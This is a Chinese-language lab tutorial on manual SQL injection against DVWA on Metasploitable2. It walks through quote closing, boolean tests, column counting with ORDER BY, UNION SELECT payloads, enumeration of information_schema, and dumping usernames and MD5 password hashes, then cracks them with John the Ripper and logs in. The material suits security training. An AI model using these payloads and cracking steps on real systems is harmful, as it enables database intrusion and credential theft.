服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器。
metasploitable2
DVWA ( mysql 数据库)
首先来分析下完整的SQL语句:
select fist_name,surname from users where id="1"
为了方便,我把 " 用 ' 表示
select fist_name,surname from users where id=' 1 '
接着输入 1' 发现会报错
那是因为此时语句为:select fist_name,surname from users where id=' 1' '
发现只闭合了前面的 ' ,后面的 ' 没有闭合 所以猜测 输入 1''因该也可以
这就是 闭合原理
注入的时候很多情况需要用到符号的闭合,不仅仅是SQL注入
and 、 or 的利用
样式语句:select fist_name,surname from users where id=' 1 '
输入 1' and '1' ='1 发现可以 (因为 '1'='1' 等价于 1 所以 输入也可以写成 1' and '1 )
查询语句为:select fist_name,surname from users where id=' 1' and '1' ='1 '
输入 1' and '1' ='2 发现不行,虽然没报错,但是没有结果
(因为 '1'='2' 等价于 0 所以 输入也可以写成 1' and '0 )
查询语句为:select fist_name,surname from users where id=' 1' and '1' ='2 '
输入 1' or '1' ='1 发现可以
查询语句为:select fist_name,surname from users where id=' 1' or '1' ='1 '
输入 1' or '1' ='2 发现也可以
查询语句为:select fist_name,surname from users where id=' 1' or '1' ='2 '
原因: and 是 与 的逻辑关系、 or 是 或 的逻辑关系
例句:select fist_name,surname from users where id=' 1 '
' order by 10-- 匹配查询字段数 比如 上面的语句查询字段数是 2 fist_name,surname
-- 表示注释 ( -- 后面需要加个空格)
完整语句: select fist_name,surname from users where id=' ' order by 10-- '
注入时发现 10 的时候会报错 ,3的时候也报错
2的时候不报错,也没有结果;这时就可以猜测前面字段数有2个
接着就利用 union 联合查询语句
' union select 1,2--
' union all select database(),2--
完整语句:
select fist_name,surname from users where id=' ' union select 1,2-- '
select fist_name,surname from users where id=' ' union all select database(),2-- '
通常情况下,加不加 all 区别不大
' union all select database(),substring_index(user(),"@",1)--
DB用户: user()
DB版本: version()
切分输出结果: substring_index(user(),"@",1)
全局函数: @@datadir、@@hostname、 @@VERSION、 @@version_complie_os
当前库: database()
ASCII转字符: char()
连接字符串: CONCAT_WS(CHAR(32,58,32),user(),database(),version())
计算哈希: md5()
命令比较长 可以 使用浏览器插件 hackbar 这样输入比较方便 url 里 + 表示 空格
注意:** 有时查询的信息比较多,但是联合查询时,前后查询字段数需要一致
这时就需要 使用 CONCAT_WS()这个函数
在 mysql 数据库里 有个特别 的库 information_schema
这个数据库里包含了 mysql 上所有数据库的 表 的信息
table_name 表名
table_schema 表对应的库名
column_name 列名
查询所有表以及它的库名: ' union select table_name,table_schema from information_schema.tables--
按库来统计各个库里有多少表: ' union select table_schema,count(*) from information_schema.tables group by table_schema--
原理:逐级查询 库——>表——>列
查询DVWA库的信息: ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--
查询users表的信息: ' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--
查询 user_id,user,password 列的信息: ' union select user_id,concat(user,0x3a,password) from dvwa.users--
0x3a : 的16进制
密码被加密了 且 是 MD5加密的
百度搜索有很多,可以在线解密!
这里也介绍使用 kali里 john
e.g.
gordonb:e99a18c428cb38d5f260853678922e03
利用在线MD5解密为:abc123
john的使用:
将登入名和MD5密文粘贴进kali的dvwa.txt
(文件名随便取,我是放在根目录下,用的时候可以先ls看在不在当前目录下)
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99
输入命令: john --format=raw-MD5 dvwa.txt
注:第一次解密输入上面的命令,
若有些 MD5 系统已经解密过了,系统会先查看 john.pot 文件里
第二次解密可以使用: john --format=raw-MD5 dvwa.txt --show
logout——>登入 发现可行!